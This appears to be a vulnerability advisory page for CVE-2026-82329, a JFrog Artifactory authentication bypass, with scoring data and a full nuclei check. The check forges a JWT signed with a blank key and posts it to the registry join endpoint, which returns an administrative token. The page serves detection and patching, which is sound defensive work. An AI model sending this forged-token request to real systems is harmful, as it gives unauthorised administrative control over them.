JFrog Artifactory Access Blank Join Key Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-09-02; known to be used by ransomware.

criticalseverity

9.8CVSS score

14.4%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.

Impact

Unauthenticated attackers can gain administrative privileges, leading to full system control.

Fix

Update to the latest version and ensure secure configuration.

How to confirm it

Send: POST /access/api/v1/registry/join
Positive when: status 201 AND contains "\"token\""

Run it with nuclei: nuclei -id CVE-2026-82329 -u <target>

The full check

id: CVE-2026-82329

info:
  name: JFrog Artifactory Access Blank Join Key Authentication Bypass
  author: johnk3r,pruva
  severity: critical
  description: |
    JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.
  impact: |
    Unauthenticated attackers can gain administrative privileges, leading to full system control.
  remediation: |
    Update to the latest version and ensure secure configuration.
  reference:
    - https://jfrog.com/help/r/jfrog-release-information/artifactory-security-fixes
    - https://www.pruva.dev/reproductions/REPRO-2026-00341
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-82329
    epss-score: 0.14372
    epss-percentile: 0.96645
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"JFrog"
  tags: cve,cve2026,jfrog,auth-bypass,vkev,kev

variables:
  service_id: "jfrt@cve202682329nuclei{{rand_text_alpha(10)}}"
  node_id: "cve202682329node{{rand_text_alpha(10)}}"
  jwt_claims: '{"service_id":"{{service_id}}","node_id":"{{node_id}}","skip_node_registration":true,"iat":{{unix_time()}}000}'
  forged_jwt: '{{generate_jwt(jwt_claims,"HS256","                                ")}}'

http:
  - raw:
      - |
        POST /access/api/v1/registry/join HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        User-Agent: JFrogArtifactory/7.146.25
        Accept: */*
        Connection: close

        {{forged_jwt}}

    redirects: false
    max-redirects: 0

    matchers-condition: and

    matchers:
      - type: status
        status:
          - 201

      - type: word
        part: body
        words:
          - '"token"'

References

Use this check only on systems you are authorised to test. Where the data comes from